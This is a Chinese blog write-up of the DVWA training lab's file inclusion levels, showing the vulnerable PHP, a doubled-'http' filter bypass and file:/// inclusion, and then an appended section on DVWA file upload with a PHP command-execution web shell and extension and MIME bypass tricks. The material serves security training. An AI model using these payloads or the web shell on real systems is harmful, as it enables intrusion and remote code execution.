DVWA靶场-文件包含

本文深入解析文件包含漏洞的三种级别:低级、中级和高级,展示了如何通过HTTP协议、双写绕过和File协议等手段进行攻击。同时,文章探讨了如何通过白名单策略有效防御此类攻击。

文件包含

低级

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

低级什么也没做,直接利用http协议包含文件(可以远程包含):
在这里插入图片描述

中级

查看源代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

分析:利用str_replace函数将关键字(http:// https:// …/ …\)替换成空,可防止远程包含
利用:因为虽然 做了替换但只做了一次,我们可以双写绕过或者file协议绕过

hthttp://tp://127.0.0.1/phpinfo.php

双写绕过
在这里插入图片描述
file协议绕过:
FIle协议也叫本地文件传输协议 ,主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样

file:///文件路径

在这里插入图片描述

高级

源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

分析可知:后台将我们输入的文件file做了匹配,必须包含file,f且file做了匹配,必须包含file,f且filefileffile不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的
绕过:file协议来绕过
FIle协议也叫本地文件传输协议 ,主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样

file:///文件路径

直接包含本地php文件
在这里插入图片描述

impossible

查看源码:

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

分析:做的太绝了,对包含文件做了白名单策略,只能包含指定的那三个文件
总结:通过白名单策略可以避免文件包含

DVWA(Damn Vulnerable Web Application)中,文件上传漏洞的练习是安全测试和渗透测试的重要组成部分。该漏洞通常允许攻击者上传恶意文件(如Web Shell)到服务器上,并通过特定路径访问这些文件以执行任意代码。 ### 文件上传漏洞的利用原理 DVWA中的文件上传漏洞设计是为了模拟现实世界中常见的错误配置或开发缺陷。例如: - **绕过客户端检查**:某些应用程序仅依赖JavaScript进行文件类型验证,而这种检查可以被轻易绕过。 - **服务端过滤不严格**:即使有后端验证机制,也可能存在黑名单不完整、未正确解析MIME类型或文件扩展名处理不当等问题。 - **可预测的上传路径**:攻击者可以通过猜测上传文件的路径来访问恶意文件。 ### 利用步骤 1. **准备恶意文件**:创建一个包含PHP代码的Web Shell,例如: ```php <?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; } ?> ``` 将此代码保存为`shell.php`或其他看似合法的文件名(如`.jpg`扩展名但实际内容为PHP脚本)[^1]。 2. **上传文件**:登录DVWA并导航到文件上传模块。尝试上传准备好的文件。如果系统阻止了上传,可以通过以下方式绕过限制: - 修改文件扩展名(如`.phtml`或`.php5`)。 - 使用双扩展名(如`shell.php.jpg`)。 - 在请求中修改MIME类型为`image/jpeg`。 3. **访问上传文件**:成功上传后,通过浏览器访问上传的文件。例如,访问`http://dvwa/upload/shell.php?cmd=id`以执行命令并查看结果。 4. **进一步利用**:一旦获得远程代码执行权限,可以尝试下载更多工具(如Meterpreter)、读取敏感文件或进一步横向移动。 ### 防御措施 为了防止文件上传漏洞,开发者应采取以下措施: - **严格验证文件类型**:使用白名单验证上传文件的扩展名和MIME类型。 - **重命名上传文件**:避免用户控制文件名,随机生成文件名。 - **隔离上传目录**:将上传目录设置为不可执行脚本的区域。 - **限制文件大小**:防止资源耗尽攻击。 ### 示例代码 以下是DVWA中用于处理文件上传的简化版PHP代码片段: ```php <?php $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["uploaded"]["name"]); $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); // Check if file is an image if (isset($_POST["submit"])) { $check = getimagesize($_FILES["uploaded"]["tmp_name"]); if ($check !== false) { // File is an image if (move_uploaded_file($_FILES["uploaded"]["tmp_name"], $target_file)) { echo "The file " . htmlspecialchars(basename($_FILES["uploaded"]["name"])) . " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } else { echo "File is not an image."; } } ?> ``` 此代码虽然检查了文件是否为图像,但由于缺乏严格的扩展名验证,仍可能被绕过。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值